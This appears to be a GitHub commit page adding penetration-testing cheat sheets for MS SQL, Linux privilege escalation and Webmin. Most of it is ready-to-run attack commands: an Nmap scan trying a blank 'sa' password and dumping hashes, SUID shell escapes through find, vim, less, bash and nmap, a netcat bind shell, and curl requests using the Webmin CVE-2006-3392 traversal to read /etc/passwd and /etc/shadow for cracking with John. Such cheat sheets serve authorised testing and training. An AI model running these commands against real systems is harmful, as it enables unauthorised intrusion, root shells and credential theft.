forked from Kitsun3Sec/Pentest-Cheat-Sheets
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
6 changed files
with
113 additions
and
8 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,5 @@ | ||
# MS SQL | ||
|
||
### Nmap Information Gathering | ||
|
||
`nmap -p 1433 --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER $ip` |
File renamed without changes.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,78 @@ | ||
|
||
# Privillege Escalation | ||
|
||
### List all SUID files | ||
|
||
`find / -perm -4000 2>/dev/null` | ||
|
||
`find / -user root -perm -4000 -print 2>/dev/null` | ||
|
||
`find / -perm -u=s -type f 2>/dev/null` | ||
|
||
`find / -user root -perm -4000 -exec ls -ldb {} \;` | ||
|
||
Nmap version [2.02 - 5.21] | ||
|
||
`nmap -V` | ||
|
||
`nmap --interactive` | ||
|
||
`nmap> !sh` | ||
|
||
|
||
### Performing privilege escalation by misconfigured SUID | ||
|
||
#### Find | ||
|
||
`touch kitsun3sec` | ||
`find kitsun3sec -exec whoami \;` | ||
|
||
if root | ||
|
||
`find kitsun3sec -exec netcat -lvp 5555 -e /bin/sh \;` | ||
|
||
#### vim.tiny | ||
|
||
` vim.tiny /etc/shadow ` | ||
|
||
``` | ||
vim.tiny | ||
# Press ESC key | ||
:set shell=/bin/sh | ||
:shell | ||
``` | ||
|
||
#### Bash | ||
|
||
`bash -p` | ||
|
||
`whoami` | ||
|
||
#### Less | ||
|
||
``` | ||
less /etc/passwd | ||
!/bin/sh | ||
``` | ||
|
||
### Listing process | ||
|
||
`ps aux` | ||
|
||
`ps xaf` | ||
|
||
### Determine the current version of Linux | ||
|
||
`cat /etc/issue` | ||
|
||
`lsb_release -a` | ||
|
||
### Determine more information about the environment | ||
|
||
`uname -a` | ||
|
||
## Searchsploit | ||
|
||
`searchsploit linux 2.6` | ||
|
||
`searchsploit centos 6` |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,21 @@ | ||
# Webmin | ||
|
||
`export ip=172.20.10.5` | ||
|
||
### Test for LFI & file disclosure vulnerability by grabbing /etc/passwd | ||
|
||
Some servers can change root path, just change the URL path... | ||
|
||
`curl http://$ip:10000//unauthenticated/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/etc/passwd` | ||
|
||
### Test to see if webmin is running as root by grabbing /etc/shadow | ||
|
||
`curl http://$ip:10000//unauthenticated/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/etc/shadow` | ||
|
||
|
||
## You can use John to break it | ||
|
||
unshadow passwd shadow > Hash | ||
|
||
### Resources | ||
* [CVE: CVE-2006-3392](https://www.exploit-db.com/exploits/2017/) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters